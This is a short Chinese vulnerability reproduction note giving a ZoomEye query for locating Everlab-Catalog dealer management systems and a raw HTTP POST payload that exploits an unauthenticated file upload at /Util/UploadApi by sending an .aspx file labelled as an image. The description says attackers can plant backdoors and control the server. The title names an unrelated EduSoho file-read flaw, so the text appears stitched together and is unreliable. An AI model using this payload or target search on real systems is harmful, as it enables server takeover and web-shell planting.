E5-1EduSoho-教培系统-任意文件读取

漏洞描述：

Everlab-Catalog经销商管理系统 /Util/UploadApi接口处存在任意文件上传漏洞，未经授权的攻击者可上传任意后门文件，进而控制整个服务器。(EDU刷分)

网站图片:

网络测绘:

fofa语法：

钟馗之眼：app:“Everlab Catalog”

漏洞复现:

payload：

POST /Util/UploadApi HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
Upgrade-Insecure-Requests: 1

--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: image/jpeg

<% Response.Write("Hello, World") %>
--59229605f98b8cf290a7b8908b34616b--

效果图:

回显了完整路径
验证